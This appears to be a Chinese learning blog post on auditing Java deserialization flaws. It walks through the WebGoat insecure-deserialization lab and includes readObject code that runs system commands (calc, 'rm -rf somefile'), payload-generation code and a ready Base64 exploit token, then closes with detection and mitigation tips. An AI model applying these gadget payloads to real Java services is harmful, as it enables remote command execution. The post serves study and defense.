Java代码审计安全篇-反序列化漏洞

news2025/1/11 8:09:24

前言:

 堕落了三个月,现在因为被找实习而困扰,着实自己能力不足,从今天开始 每天沉淀一点点 ,准备秋招 加油

注意:

本文章参考qax的网络安全java代码审计和部分师傅审计思路以及webgoat靶场,记录自己的学习过程,还希望各位博主 师傅 大佬 勿喷,还希望大家指出错误

初识 Java序列化和反序列化:

1.概念:

       序列化是将某些对象转换为以后可以恢复的数据格式的过程。人们经常序列化对象,以便将它们保存到存储中,或作为通信的一部分发送。

         反序列化是该过程的反面,从某种格式获取数据,并将其重建为对象。如今,用于序列化数据的最流行的数据格式是 JSON。在此之前,它是 XML。

2. 好处:

能够实现数据的持久化,通过序列化可以把数据永久保存在硬盘上,也可理解为通过序列化将数据保存在文件中。

3.序列化和反序列化的过程举例:

参考https://www.cnblogs.com/LoYoHo00/articles/17654380.html

类文件 Person.java

package lemo;
import java.io.Serializable;
​
public class Person implements Serializable {
​
    private String name;
    private int age;
​
    public Person(){
​
    }
    // 构造函数
    public Person(String name, int age){
        this.name = name;
        this.age = age;
    }
​
    @Override
    public String toString(){
        return "src.Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

序列化文件:SerializationTest.java 

package lemo;

import java.io.FileOutputStream;//文件输出流
import java.io.IOException;//用于声明可能会抛出IOException的方法。当一个方法可能会引发输入/输出异常时,可以使用throws IOException来通知调用该方法的其他部分,让它们做出相应的异常处理。
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;//将对象以二进制形式写入输出流。它可以将对象序列化成字节流,用于在网络中传输或保存到文件中。

public class SerializationTest {
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));//输出流对象
        oos.writeObject(obj);//序列化
    }

    public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        System.out.println(person);
        serialize(person);
    }
}

反序列化文件:UnserializeTest.java

package lemo;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        Person person = (Person)unserialize("ser.bin");
        System.out.println(person);//反序列化
    }
}

我们运行SerializationTest.java得到

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));//输出流对象
        oos.writeObject(obj);//序列化

      在 serialize 方法的实现中,首先创建了一个 ObjectOutputStream 对象 oos,它接受一个 FileOutputStream 对象作为参数,用于指定输出流写入的文件名为 "ser.bin"。然后,通过调用 oos.writeObject(obj) 方法,将传入的对象进行序列化,将序列化后的数据写入输出流。

 我们运行UnserializationTest.java得到

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();

 readObject()方法被调用,它从输入流中读取字节并将其反序列化为对象

注意: 
1.静态成员变量是不能被序列化

序列化是针对对象属性的,而静态成员变量是属于类的。

2.transient 标识的对象成员变量不参与序列化

举例:

将 Person.java中的name加上transient的类型标识

加完之后再跑我们的序列化与反序列化的两个程序运行得到 发现

 name打印为NULL 是因为transient 标识的对象成员变量不参与序列化

 初始反序列化漏洞

 序列化和反序列化中有两个重要的方法————writeObject和readObject

上面举例也是使用这两个方法

1.可能存在漏洞的场景

(1)入口类的readObject直接调用危险方法

我们只需在Person.java里面添加一个触发计算器的代码:

package src;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
​
public class Person implements Serializable {
​
    private transient String name;
    private int age;
​
    public Person(){
​
    }
    // 构造函数
    public Person(String name, int age){
        this.name = name;
        this.age = age;
    }
​
    @Override
    public String toString(){
        return "src.Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
​
    public void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
        ois.defaultReadObject();//调用默认机制,以恢复对象的非静态和非瞬态(非 transient 修饰)字段
        Runtime.getRuntime().exec("calc");//在操作系统上执行外部命令。
    }
}

先后运行序列化 和反序列化代码就会发现弹出了计算器 

只有实现了Serializable接口的类的对象才可以被序列化,Serializable接口是启用其序列化功能的接口,实现java.io.Serializable 接口的类才是可序列化的,没有实现此接口的类将不能使它们的任一状态被序列化或逆序列化。这里的readObject()执行了Runtime.getRuntime().exec("calc"),而readObject()方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,readObject()是可以重写的,可以定制反序列化的一些行为。

(2)入口参数中包含可控类,该类有危险方法,readObject时调用

(3)入口参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

(4)构造函数/静态代码块等加载时隐式执行

2.Webgoat说明

ClassPath 中包含的类

攻击者需要在类路径中找到支持序列化且具有危险实现的类。readObject()

package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;

public class VulnerableTaskHolder implements Serializable {

        private static final long serialVersionUID = 1;

        private String taskName;
        private String taskAction;
        private LocalDateTime requestedExecutionTime;

        public VulnerableTaskHolder(String taskName, String taskAction) {
                super();
                this.taskName = taskName;
                this.taskAction = taskAction;
                this.requestedExecutionTime = LocalDateTime.now();
        }

        private void readObject( ObjectInputStream stream ) throws Exception {
        //deserialize data so taskName and taskAction are available
                stream.defaultReadObject();

                //blindly run some code. #code injection
                Runtime.getRuntime().exec(taskAction);
     }
}

 利用:

如果存在上面显示的 java 类,攻击者可以序列化该对象并获取远程代码执行。

VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile");

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();

原理跟上边那个差不多 

 3.Webgoat靶场实战
rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l

我们输入aa试试然后抓包可以看到接口名为InsecureDeserialization/task,那就后端全局搜索InsecureDeserialization/task,最终定位到InsecureDeserializationTask.java

 

得到InsecureDeserializationTask.java源码 

package org.owasp.webgoat.deserialization;

import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

import java.io.*;
import java.util.Base64;

@RestController
@AssignmentHints({"insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3"})
public class InsecureDeserializationTask extends AssignmentEndpoint {

    @PostMapping("/InsecureDeserialization/task")
    @ResponseBody
    public AttackResult completed(@RequestParam String token) throws IOException {
        String b64token;
        long before;
        long after;
        int delay;

        b64token = token.replace('-', '+').replace('_', '/');

        try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
            before = System.currentTimeMillis();
            Object o = ois.readObject();
            if (!(o instanceof VulnerableTaskHolder)) {
                if (o instanceof String) {
                    return failed(this).feedback("insecure-deserialization.stringobject").build();
                }
                return failed(this).feedback("insecure-deserialization.wrongobject").build();
            }
            after = System.currentTimeMillis();
        } catch (InvalidClassException e) {
            return failed(this).feedback("insecure-deserialization.invalidversion").build();
        } catch (IllegalArgumentException e) {
            return failed(this).feedback("insecure-deserialization.expired").build();
        } catch (Exception e) {
            return failed(this).feedback("insecure-deserialization.invalidversion").build();
        }

        delay = (int) (after - before);
        if (delay > 7000) {
            return failed(this).build();
        }
        if (delay < 3000) {
            return failed(this).build();
        }
        return success(this).build();
    }
}

后端拿到我们的token之后进行了一个特殊符号替换,然后进行了base64解码,解码过后进行了readObject()反序列化操作,最后判断一下这个对象是不是VulnerableTaskHolder的实例。所以,我们反序列化的对象也就确定了,那就是VulnerableTaskHolder类的实例。 

那我们就重点关注VulnerableTaskHolder类的实现:

源码:

package org.dummy.insecure.framework;

import java.io.*;
import java.time.LocalDateTime;
import java.util.Base64;

import lombok.extern.slf4j.Slf4j;

@Slf4j
public class VulnerableTaskHolder implements Serializable {

	private static final long serialVersionUID = 2;

	private String taskName;
	private String taskAction;
	private LocalDateTime requestedExecutionTime;
	
	public VulnerableTaskHolder(String taskName, String taskAction) {
		super();
		this.taskName = taskName;
		this.taskAction = taskAction;
		this.requestedExecutionTime = LocalDateTime.now();
	}
	
	@Override
	public String toString() {
		return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
				+ requestedExecutionTime + "]";
	}

	/**
	 * Execute a task when de-serializing a saved or received object.
	 * @author stupid develop
	 */
	private void readObject( ObjectInputStream stream ) throws Exception {
        //unserialize data so taskName and taskAction are available
		stream.defaultReadObject();
		
		//do something with the data
		log.info("restoring task: {}", taskName);
		log.info("restoring time: {}", requestedExecutionTime);
		
		if (requestedExecutionTime!=null && 
				(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
				|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
			//do nothing is the time is not within 10 minutes after the object has been created
			log.debug(this.toString());
			throw new IllegalArgumentException("outdated");
		}
		
		//condition is here to prevent you from destroying the goat altogether
		if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
				&& taskAction.length() < 22) {
		log.info("about to execute: {}", taskAction);
		try {
            Process p = Runtime.getRuntime().exec(taskAction);
            BufferedReader in = new BufferedReader(
                                new InputStreamReader(p.getInputStream()));
            String line = null;
            while ((line = in.readLine()) != null) {
                log.info(line);
            }
        } catch (IOException e) {
            log.error("IO Exception", e);
        }
		}
       
    }
	
}

 关注readObject方法

if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
				&& taskAction.length() < 22) {
		log.info("about to execute: {}", taskAction);
		try {
            Process p = Runtime.getRuntime().exec(taskAction);
            BufferedReader in = new BufferedReader(
                                new InputStreamReader(p.getInputStream()));
            String line = null;
            while ((line = in.readLine()) != null) {
                log.info(line);
            }
        } catch (IOException e) {
            log.error("IO Exception", e);
        }
		}

可以看到首先判断requestedExecutionTime变量值是否是当前时间,如果是当前时间则判断taskAction变量是否是以sleep或者ping开头且长度小于22,如果满足的话就将taskAction变量值传给Runtime.getRuntime().exec执行命令。这里的taskAction是我们可以控制的

然后关注发现这个类的有参构造器发现其会自动将this.requestedExecutionTime赋值为当前时间

所以我们只需关注 taskAction变量

然后根据上面的漏洞利用进行构造paylaod

 

 注意两点:

创建的对象必须是 VulnerableTaskHolder 类的实例,包名得一致;

创建的序列化对象,时间戳必须在当前时间的前十分钟以内,否则会报 The task is not executable between now and the next ten minutes, so the action will be ignored. Maybe you copied an old solution? Let’s try again 错误。所以 VulnerableTaskHolder 类中的构造方法得减去一定得时间。

 我直接将构造代码写在了这个类文件里面,因为在序列化时会将package包名也序列化进去,这样也比较方便。

package org.dummy.insecure.framework;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectOutputStream;  
import java.util.Base64;

  
public class VulnerableTaskHolder {  
  
    static public void main(String[] args){  
        try{  
            VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6");  
            ByteArrayOutputStream bos = new ByteArrayOutputStream();  
            ObjectOutputStream oos = new ObjectOutputStream(bos);  
            oos.writeObject(go);  
            oos.flush();  
            byte[] exploit = bos.toByteArray();  
            String exp = Base64.getEncoder().encodeToString(exploit);  
            System.out.println(exp);  
        } catch (Exception e){  
  
        }  
    }  
}

或者使用ping 

package org.dummy.insecure.framework;

import java.io.Serializable;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class VulnerableTaskHolder implements Serializable {
	private static final long serialVersionUID = 2;
	
	private String taskAction;
	
	public VulnerableTaskHolder(String taskAction) {
		this.taskAction = taskAction;
	}
	
	public static void main(String[] args) throws IOException {
		VulnerableTaskHolder vuln = new VulnerableTaskHolder("ping 1 -n 6");
		ByteArrayOutputStream bOut = new ByteArrayOutputStream();
		ObjectOutputStream objOut = new ObjectOutputStream(bOut);
		objOut.writeObject(vuln);
		String str = Base64.getEncoder().encodeToString(bOut.toByteArray());
		System.out.println(str);
		objOut.close();
	}
}

生成

rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAAFMAAp0YXNrQWN0aW9udAASTGphdmEvbGFuZy9TdHJpbmc7eHB0AAtwaW5nIDEgLW4gNg==

 提交成功

 如何发现漏洞

参考https://www.cnblogs.com/yokan/p/15232644.html

1.从流量中发现序列化的痕迹,关键字:ac ed 00 05,rO0AB

2.Java RMI的传输100%基于反序列化,Java RMI的默认端口是1099端口

3.从源码入手,可以被序列化的类一定实现了Serializable接口

4.观察反序列化时的readObject()方法是否重写,重写中是否有设计不合理,可以被利用之处

从可控数据的反序列化或间接的反序列化接口入手,再在此基础上尝试构造序列化的对象。

ysoserial是一款非常好用的Java反序列化漏洞检测工具,该工具通过多种机制构造PoC,并灵活的运用了反射机制和动态代理机制,值得学习和研究。

其他反序列化漏洞 

Apache Shiro 反序列化漏洞

后面再学吧 可参考

https://cloud.tencent.com/developer/article/2396001

fastjson 漏洞

 一文读懂面试官都在问的Fastjson漏洞 - FreeBuf网络安全行业门户

这个当然还有其他的后面再深入了解了解

修复

 1. 通过Hook resolveClass来校验反序列化的类

 2. 使用ObjectInputFilter来校验反序列化的类

 3. 黑名单校验修复

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1520205.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

续上篇 qiankun 微前端配置

上篇文章地址&#xff1a;微前端框架 qiankun 配置使用【基于 vue/react脚手架创建项目 】-CSDN博客 主应用&#xff1a; src/main.js 配置&#xff1a; import Vue from vue import App from ./App.vue import router from ./router import { registerMicroApps, start } …

paddle ocr识别文字

paddle使用 # pip install paddlepaddle2.5.2 -i https://mirror.baidu.com/pypi/simple # pip install paddleocr2.7.0.3 -i https://mirror.baidu.com/pypi/simplefrom paddleocr import PaddleOCR from PIL import Image import numpy as npimage Image.open(./2.png) ocr…

CentOS7 部署 k8s

准备两台虚拟机192.168.152.129192.168.152.130更改主机名192.168.152.129&#xff1a;hostnamectl set-hostname k8s-masterhostnamectl192.168.152.130&#xff1a;hostnamectl set-hostname k8s-node1hostnamectl master节点配置 1.配置hosts 在两台节点上执行vim /etc/h…

js【详解】ajax (含XMLHttpRequest、 同源策略、跨域、JSONP)

ajax 的核心API – XMLHttpRequest get 请求 // 新建 XMLHttpRequest 对象的实例 const xhr new XMLHttpRequest(); // 发起 get 请求&#xff0c;open 的三个参数为&#xff1a;请求类型&#xff0c;请求地址&#xff0c;是否异步请求&#xff08; true 为异步&#xff0c;f…

个人简历主页搭建系列-03:Hexo+Github Pages 介绍,框架配置

今天的更新内容主要是了解为什么选择这个网站搭建方案&#xff0c;以及一些前置软件的安装。 Why Hexo? 首先我们了解一下几种简单的网站框架搭建方案&#xff0c;看看对于搭建简历网站的需求哪个更合适。 在 BuiltWith&#xff08;网站技术分析工具&#xff09;上我们可以…

mybatis实现动态sql和关联映射以及延迟加载策略

一、动态sql的简述 什么是动态sql:在不同条件下拼接不同的sql Mybatis框架的动态sql技术是一种根据特定条件动态拼接SQl语句的功能&#xff0c;他存在的意义是为了解决拼接SQL语句字符串时的痛点问题。比如我们在用淘宝之类的软件在进行商品属性选择的时候&#xff0c;我们会发…

2024最新小狐狸AI 免授权源码

后台安装步骤&#xff1a; 1、在宝塔新建个站点&#xff0c;php版本使用7.2 、 7.3 或 7.4&#xff0c;把压缩包上传到站点根目录&#xff0c;运行目录设置为/public 2、导入数据库文件&#xff0c;数据库文件是 /db.sql 3、修改数据库连接配置&#xff0c;配置文件是/.env 4、…

Ubuntu20.04 部署 k8s

目前生产部署 Kubernetes 集群主要有两种方式 kubeadm Kubeadm是一个k8s部署工具&#xff0c;提供 kubeadm init 和 kubeadm join&#xff0c;用于快速部署 Kubernetes 集群。 kubeadm 是由 k8s 官方所提供的专门部署集群的管理工具。在每一个节点主机上都要手动安装并运行 …

OpenOFDM接收端信号处理流程

Overview — OpenOFDM 1.0 documentation 本篇文章为学习OpenOFDM之后的产出PPT&#xff0c;仅供学习参考。 ​​​​​​​

每日五道java面试题之springMVC篇(三)

目录&#xff1a; 第一题. Controller注解的作用第二题. RequestMapping注解的作用第三题. ResponseBody注解的作用第四题. PathVariable和RequestParam的区别第五题. Spring MVC与Struts2区别 第一题. Controller注解的作用 在Spring MVC 中&#xff0c;控制器Controller 负责…

Upload-labs靶场

文件漏洞上传进行复现 环境搭建--->搭建好环境如下&#xff1a; 打开第一关&#xff0c;尝试文件上传漏洞 根据界面提示&#xff0c;选择一个文件&#xff08;.php文件&#xff09;进行上传&#xff0c;发现无法上传 根据提示是指使用js对不合法文件进行了检查&#xff0c;…

蓝桥杯单片机快速开发笔记——DS18B20温度传感器

一、原理分析 考试时可能会需要自己编写底层驱动的.h文件&#xff0c;编写.h的关键是会查原理图把DQ定义好。 sbit DQ P1^4; 二、应用 温度监控&#xff1a;DS18B20广泛应用于温度监控系统中&#xff0c;如室内温度监测、工业生产过程中的温度控制等。 环境监测&#xf…

怎样提升小程序日活?签到抽奖可行吗?

一、 日活运营策略 小程序应该是即用即走的&#xff0c;每个小程序都在用户中有自己的独特定位&#xff0c;可能是生活日常必备&#xff08;美食、团购、商城&#xff09;&#xff0c;也可能是工作办公必备&#xff08;文档、打卡、工具&#xff09;。 如果你想要让自己的小程…

白话transformer(三):Q K V矩阵代码演示

在前面文章讲解了QKV矩阵的原理&#xff0c;属于比较主观的解释&#xff0c;下面用简单的代码再过一遍加深下印象。 B站视频 白话transformer&#xff08;三&#xff09; 1、生成数据 我们呢就使用一个句子来做一个测试&#xff0c; text1 "我喜欢的水果是橙子和苹果&…

WPF布局、控件与样式

视频来源&#xff1a;https://www.bilibili.com/video/BV1HC4y1b76v/ 布局 常用布局属性 HorizontalAlignment&#xff1a;用于设置元素的水平位置VerticalAlignment&#xff1a;用于设置元素的垂直位置Margin&#xff1a;指定元素与容器的边距Height&#xff1a;指定元素的…

AMRT 3D 数字孪生引擎(轻量化图形引擎、GIS/BIM/3D融合引擎):智慧城市、智慧工厂、智慧建筑、智慧校园。。。

AMRT3D 一、概述 1、提供强大完整的工具链 AMRT3D包含开发引擎、资源管理、场景编辑、UI搭建、项目预览和发布等项目开发所需的全套功能&#xff0c;并整合了动画路径、精准测量、动态天气、视角切换和动画特效等工具。 2、轻量化技术应用与个性化定制 AMRT3D适用于快速开…

《雷德斯东家》 第一话——火把花的回忆

引子 温馨提示:本系列小说为福瑞向! ------------------------------------------------------------------------------------------------------------------------- 作者 RedstoneCuberoot 地图 RedstoneCuberoot、梓元sama 审核 Brenda_fyx、RedstoneCuberoot Minecraft大…

Linux_socket编程

套接字通信 socket 接口 守护进程 一.套接字通信 端口号&#xff1a; 端口号是一个2字节16位的整数;端口号用来标识一个进程, 告诉操作系统, 当前的这个数据要交给哪一个进程来处理; 一台主机可以根据ip地址定位另一台主机&#xff0c;而两台主机之间的通信本质是进程在通信。…

stm32-编码器测速

一、编码器简介 编码电机 旋转编码器 A,B相分别接通道一和二的引脚&#xff0c;VCC&#xff0c;GND接单片机VCC&#xff0c;GND 二、正交编码器工作原理 以前的代码是通过触发外部中断&#xff0c;然后在中断函数里手动进行计次。使用编码器接口的好处就是节约软件资源。对于频…

QT下跨平台库实现及移植经验分享

最近在移植公司一个QT桌面软件到android上&#xff0c;有一些公司自定义的库&#xff0c;用了很多windows的api&#xff0c;移植过程很是曲折&#xff0c;在此有一些感悟分享一下~ 一.自编写跨平台库 1.有时候为了程序给第三方用需要编译一些qt封装库&#xff0c;并可能跨平台…